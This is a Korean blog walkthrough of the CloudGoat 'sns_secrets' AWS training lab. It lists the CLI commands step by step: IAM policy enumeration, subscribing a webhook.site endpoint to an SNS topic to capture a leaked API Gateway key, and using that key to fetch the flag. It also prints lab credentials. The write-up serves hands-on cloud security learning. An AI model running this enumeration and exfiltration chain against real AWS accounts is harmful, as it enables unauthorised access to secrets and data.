[AWS] CloudGoat: sns_secrets Write-UP

marceline·2025년 1월 6일
0

[Cloud]

목록 보기
6/7

무수하게 많은 오류를 딛고,, 환경설정을 완료했다.

위처럼 start.txt 파일을 확인할 수 있다면, sns_secrets 문제의 환경설정이 성공적으로 된 것이다.!

리드미 부터 정독

https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/sns_secrets
▶️ 해당 문제 github URL 이당

시나리오에 대한 요약을 하자면 아래와 같다.

Scenario Resources

  • EC2 instance (1)
  • SNS topic (1)
  • API Gateway REST API (1)
  • IAM role (1)
  • IAM user (1)

Scenario Start

AWS Access Key + Secret Key

cat start.txt 해보니까 access key 나왔음.

Scenario Goal

Get the final flag by invoking the API Gateway with the leaked API key.

유출된 API 키로 API Gateway를 호출하여 최종 플래그를 가져와야하는 문제

Summary

이 시나리오에서는 AWS 자격 증명이 제공된다.

두가지 풀이 방법이 존재한다.

  1. 권한을 열거하고 SNS 토픽을 나열 + 구독할 수 있는 권한이 있는지 확인해야함
  2. Pacu의 새로운 모듈인 "snsenum"과 "snssubscribe"를 사용하여 토픽을 구독
    (난 Pacu 귀찮으니까 CLI로만 하기로했다.)

API 키가 디버그 메시지로 포함된 토픽에서 이메일을 받게 되는데, AWS CLI를 사용하여 API 게이트웨이를 열거하고 API 게이트웨이의 경로, 메서드, 단계 및 리소스를 찾는 식으로 문제풀이가 진행될 예정이다.

마지막으로 API 키로 curl 요청을 수행하여 최종 플래그를 검색한다.


이제 풀이 시작!

sns_user_access_key

sns_user_access_key_id = AKIAYQYUBGUJQC74CVMK
sns_user_secret_access_key = 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

  • 참고) 환경구축 할 때 마다 access key 바뀜 새로 환경 구축 할 때 마다 키가 변경 되니까 참고해야할듯
    ASLR 이랑은 당연히 상관없겠지만 그냥 떠오르더라...

가장먼저, sns_user 를 위 정보대로 configure 해주었다.

# aws configure --profile sns_secrets
AWS Access Key ID [None]: AKIAYQYUBGUJQC74CVMK
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:

Enumeration

aws sts get-caller-identity --profile sns_secrets

명령어를 사용하여, sns_secrets 의 user/role 정보 반환하게끔 했다.

  • STS?
    AWS Security Token Service (STS) 를 호출하여 해당 자격증명과 연결된 정보를 가져오는 것!

요약하면, 아래와 같음!

UserId:
AIDAYQYUBGUJ7TSTKFIAX
Account:
585768187155
Arn:
arn:aws:iam::585768187155:user/cg-sns-user-sns_secrets_cgid0f6s4yrjmm

현재 AWS 자격증명이 IAM User 은 cg-sns-user-sns_secrets_cgid0f6s4yrjmm 와 연결 되어 있음을 알 수 있었다.

따라서, 해당 자격증명으로 수행하는 모든 작업은 위 유저 네임의 권한에 의해 제한된다.

해당 유저 네임에 할당된 policy 를 알기 위해 아래와 같은 명령어를 사용했다.

aws iam list-user-policies –user-name [UserName] –profile sns_secrets

  • Tip
    이게 복붙하거나 하면서 특수문자 (_, —, - -) 이런것들 씹히기 때문에 아래 같은 오류 나면 다시 직접 쳐보는게 나음
# aws iam list-user-policies --user-name cg-sns-user-sns_secrets_cgid5hy623hcfg --profile sns_secrets
{
    "PolicyNames": [
        "cg-sns-user-policy-sns_secrets_cgid0f6s4yrjmm"
    ]
}

sns_secrets 라는 user에 할당된 policy name 을 조회한 결과이다.

policy name:
cg-sns-user-policy-sns_secrets_cgid0f6s4yrjmm

Policyname을 가지고 아래 명령어를 사용하여 전체 Policy JSON file을 얻을 예정이다!

aws iam get-user-policy --user-name [UserName] --policy-name [PolicyName] --profile sns_secrets

# aws iam get-user-policy --user-name cg-sns-user-sns_secrets_cgid0f6s4yrjmm --policy-name cg-sns-user-policy-sns_secrets_cgid0f6s4yrjmm --profile sns_secrets
{
    "UserName": "cg-sns-user-sns_secrets_cgid0f6s4yrjmm",
    "PolicyName": "cg-sns-user-policy-sns_secrets_cgid0f6s4yrjmm",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sns:Subscribe",
                    "sns:Receive",
                    "sns:ListSubscriptionsByTopic",
                    "sns:ListTopics",
                    "sns:GetTopicAttributes",
                    "iam:ListGroupsForUser",
                    "iam:ListUserPolicies",
                    "iam:GetUserPolicy",
                    "iam:ListAttachedUserPolicies",
                    "apigateway:GET"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "apigateway:GET",
                "Effect": "Deny",
                "Resource": [
                    "arn:aws:apigateway:us-east-1::/apikeys",
                    "arn:aws:apigateway:us-east-1::/apikeys/*",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET",
                    "arn:aws:apigateway:us-east-1::/restapis/*/methods/GET",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
                    "arn:aws:apigateway:us-east-1::/restapis/*/integration",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration"
                ]
            }
        ]
    }
}
  • 허용된 role 들을 정리하면 아래와 같다.
    • SNS 관련
      • "sns:Subscribe"
        • SNS topic 에 Subscribe 권한
      • "sns:Receive"
        • Subscribe 메시지 Receive 가능
      • "sns:ListSubscriptionsByTopic"
        • 특정 토픽에 연결된 구독 나열
      • "sns:ListTopics"
        • SNS 계정의 모든 토픽 나열
      • "sns:GetTopicAttributes"
        • SNS 토픽의 속성 조회
    • IAM 관련
      • "iam:ListGroupsForUser"
        • 사용자가 속한 그룹 나열
      • "iam:ListUserPolicies"
        • 사용자의 인라인 정책 나열
      • "iam:GetUserPolicy"
        • 특정 인라인 정책 세부 내용 조회
      • "iam:ListAttachedUserPolicies"
        • 사용자와 연결된 관리형 정책 나열
    • API Gateway 관련
      • "apigateway:GET"
        • 읽기 작업

Subscribing to an SNS Topic

SNS topic 들을 enumerate 하고, 구독하여 메일을 확인해야하기 때문에 가장 먼저 SNS Topic을 나열하는 명령어를 사용했다.

aws sns list-topics --profile sns_secrets

Topics 가 비어 있는 것을 볼 수 있다.

명령어 바꿔서 재시도 (region 추가, us-east-1 으로 설정. ap-northeast-1 에서는 토픽 조회가 안된다.)

# aws sns list-topics --region us-east-1 --profile sns_secrets
{
    "Topics": [
        {
            "TopicArn": "arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm"
        }
    ]
}

아래와 같이 topic name 을 얻을 수 있었다.

SNS Topic Name: public-topic-sns_secrets_cgid0f6s4yrjmm
속한 AWS 계정 ID: 585768187155


구독 여부를 보기 위해서는 아래와 같은 명령어를 사용했다.

aws sns list-subscriptions-by-topic --topic-arn <Topic ARN> --profile <profile_name>

# aws sns list-subscriptions-by-topic \
    --topic-arn arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm \
    --region us-east-1 \
    --profile sns_secrets
{
    "Subscriptions": []
}

구독이 존재하지 않는 듯 하다.

그럼 구독을 시켜야하나 싶었는데,

aws sns subscribe 명령어를 사용하면 될 듯 하다.

aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid5hy623hcfg \
    --protocol <protocol> \
    --notification-endpoint <endpoint> \
    --region us-east-1 \
    --profile sns_secrets
aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid5hy623hcfg \
    --protocol email \
    --notification-endpoint [myemail] \
    --region us-east-1 \
    --profile sns_secrets

webhook 사용해서 sns topic 구독을 하고자한다.
(region 오류가 계속 나서 그냥 sns_secrets 유저 region을 us-east-1 으로 바꿔버렸다 ㅜㅜ)

aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm \
    --protocol https \
    --notification-endpoint https://webhook.site/6d6cfa6c-d004-45b1-b4b5-400401cb4a09 \
    --profile sns_secrets
{
    "SubscriptionArn": "pending confirmation"
}

“pending confirmatin” 이라고 반환되면, 성공적으로 구독이 된 것 이다.

이제 webhook 가서 결과를 확인하면 된다!

사진처럼 2초만에 잘 왔다.

{
  "Type": "SubscriptionConfirmation",
  "MessageId": "c99a99b2-870c-4018-b4f1-ec1ec319cd54",
  "Token": "2336412f37fb687f5d51e6e2425ba1f30b17245d4ac5a051159de054262578387e8a31a5505ea1d89d93336c44e182476a9cd3b55ada0f5a1a591a08e5a2264efcf9d92dffc34441ae17b04bb7ded5e0b0003e511be6c08eb1781720d24e62a079884d6b296972823be93a878962fb65ee5c4dddf3aa7661a5d9c6422a6d7f6ed718ee13d6c5c8e515ef5b4c6cf5a80b",
  "TopicArn": "arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm",
  "Message": "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
  "SubscribeURL": "https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm&Token=2336412f37fb687f5d51e6e2425ba1f30b17245d4ac5a051159de054262578387e8a31a5505ea1d89d93336c44e182476a9cd3b55ada0f5a1a591a08e5a2264efcf9d92dffc34441ae17b04bb7ded5e0b0003e511be6c08eb1781720d24e62a079884d6b296972823be93a878962fb65ee5c4dddf3aa7661a5d9c6422a6d7f6ed718ee13d6c5c8e515ef5b4c6cf5a80b",
  "Timestamp": "2024-11-15T14:19:47.952Z",
  "SignatureVersion": "1",
  "Signature": "LUJuKv6VSXHI7HH8qZHALovWyZf377V9Os/sgQ69ZmH2XAuCcudISM1sMC1Qc/Qa7Ccaa9SqTfPcuKq1s1N5t1bYSaINaAfXre0/OGu2gCxVTVvzJzJvt+7KD7iWZqrmDsUeV0jrbr1H4/kl5YZNnRyxtkDvmWm0yyOTD68ah0LZWKNm86NnC8kedDnzuWCqRKKgxz5Gb36lsSlLCEphj9/32jl+yAhfBeBXq4TQto2JgLZFCN2OGSH82unRn1GpDMU5YXR587blmAw2/ZHDiI5nC6KFdxES4rAPegAjOcbQyo7yUO1VmVoM602YtqAq8K8y3ZnTLp8mUV3saZyK9Q==",
  "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem"
}

“You have chosen to subscribe to the topic arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm.\nTo confirm the subscription, visit the SubscribeURL included in this message."

라고 한다 따라서 아래 링크에 방문하면 다음과 같은 페이지가 나온다.

API GATEWAY Access

이번에는 아래 명령어를 사용하여 API Gateway에 생성된 Rest API 목록을 조회했다.

aws apigateway get-rest-apis —profile sns_secrets —region us-east-1

# aws apigateway get-rest-apis --profile sns_secrets --region us-east-1
{
    "items": [
        {
            "id": "jqscm4z89g",
            "name": "cg-api-sns_secrets_cgid0f6s4yrjmm",
            "description": "API for demonstrating leaked API key scenario",
            "createdDate": 1731678887,
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ]
            },
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "nlzpxwjopg"
        }
    ]
}

description 을 확인해보면 “API for demonstrating leaked API key scenario” 라고 나와있다.

API 결함을 활용한 시나리오 라는 것을 알 수 있다.

id: jqscm4z89g
Name: cg-api-sns_secrets_cgid0f6s4yrjmm

API ID를 사용하여 API Gateway의 전체 URL을 알아낼 수 있다.

aws apigateway get-stages --rest-api-id [API ID] --profile sns_secrets --region us-east-1

# aws apigateway get-stages --rest-api-id jqscm4z89g --profile sns_secrets --region us-east-1
{
    "item": [
        {
            "deploymentId": "4xc7ue",
            "stageName": "prod-sns_secrets_cgid0f6s4yrjmm",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "variables": {},
            "tracingEnabled": false,
            "createdDate": 1731678889,
            "lastUpdatedDate": 1731678889
        }
    ]
}

StageName:
prod-sns_secrets_cgid0f6s4yrjmm

path도 알아내야하므로 아래 명령어 사용했다.

aws apigateway get-resources --rest-api-id [API ID] --profile sns_secrets --region us-east-1

# aws apigateway get-resources --rest-api-id jqscm4z89g --profile sns_secrets --region us-east-1
{
    "items": [
        {
            "id": "nlzpxwjopg",
            "path": "/"
        },
        {
            "id": "tpra6j",
            "parentId": "nlzpxwjopg",
            "pathPart": "user-data",
            "path": "/user-data",
            "resourceMethods": {
                "GET": {}
            }
        }
    ]
}

얻은 것들 정리하면,

id: jqscm4z89g
StageName:
prod-sns_secrets_cgid0f6s4yrjmm
path: /user-data

full URL은 아래와 같아진다.

https://[API-ID].execute-api.us-east-1.amazonaws.com/[stagename]/[resourcePath]

  • full url!
    https://jqscm4z89g.execute-api.us-east-1.amazonaws.com/prod-sns_secrets_cgid0f6s4yrjmm/user-data

curl 요청으로 api key 를 얻는 시도를 하려고했다.

curl -X GET https://jqscm4z89g.execute-api.us-east-1.amazonaws.com
curl -X GET https://jqscm4z89g.execute-api.us-east-1.amazonaws.com/resource-sns_secrets_cgid0f6s4yrjmm

사진과 같이 요청이 왔다.

{
  "Type": "Notification",
  "MessageId": "0e508e2e-58d4-5a5c-881e-d19f38660917",
  "TopicArn": "arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm",
  "Message": "DEBUG: API GATEWAY KEY 45a3da610dc64703b10e273a4db135bf",
  "Timestamp": "2024-11-15T14:45:06.389Z",
  "SignatureVersion": "1",
  "Signature": "LWQambj/VDl8eQnZew1iWJe9KMvBLS/3NApu9BUl9gn8C/zY4dYnq3TFL1AZp5DPI+NBvSI4T+5JPBHYuhSTpgMOktKsoWL86wcoKIlT/h352HdGUvZhBFnObrMkUQ3Zh4iMmi6IsjiaaXTuS8xEJ67gWt7mTnh90k+lL478fUtoqx5gpjl2mrye5Y5YN11FnOPoZtcbBC8o1aecpGGt82zZxuzoUFH+n5r3SoBV0/RRVOP8pZtTzpkPpYsT/wFUNJJhIAuEwoxWKowsjjOA9q6HyTExTzPwUyATpFtY1mgaq2L7a9/1HhVNXt6T9gKD4txoVx9cFx66psjtvmyjvA==",
  "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem",
  "UnsubscribeURL": "https://sns.us-east-1.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-1:585768187155:public-topic-sns_secrets_cgid0f6s4yrjmm:d6ad542c-1f31-4d59-badd-d3775e10bb34"
}

"DEBUG: API GATEWAY KEY 45a3da610dc64703b10e273a4db135bf"

API Gateway Key:
45a3da610dc64703b10e273a4db135bf

curl 요청으로 API key를 사용하여 FLAG를 검색할 수 있다.

curl - X GET "[API Gateway URL]" -H "x-api-key:[API Gateway URL]"

# curl -X GET "https://jqscm4z89g.execute-api.us-east-1.amazonaws.com/prod-sns_secrets_cgid0f6s4yrjmm/user-data" -H "x-api-key:45a3da610dc64703b10e273a4db135bf"
{"final_flag":"FLAG{SNS_S3cr3ts_ar3_FUN}","message":"Access granted","user_data":{"email":"SuperAdmin@notarealemail.com","password":"p@ssw0rd123","user_id":"1337","username":"SuperAdmin"}}

final_flag: FLAG{SNS_S3cr3ts_ar3_FUN}

소감

rce_web_app 말고는 처음으로 다른 문제를 풀어봤는데, 어찌저찌 여러 방법들을 시도해가면서 sns_secrets 를 결국 해결할 수 있게 되어서 다행이다,, 또 webhook 보다 dreamhack tools 를 훨 자주 썼었는데 webhook 도 쓸만한 것 같아서 앞으로는 많이 활용해야겠다!! 다음문제는 cloud_breach_s3 였나? 그 문제 풀어보려고한당 ㅎㅎ
앞으로 진행될 프로젝트에 많은 참고가 될 것 같다

0개의 댓글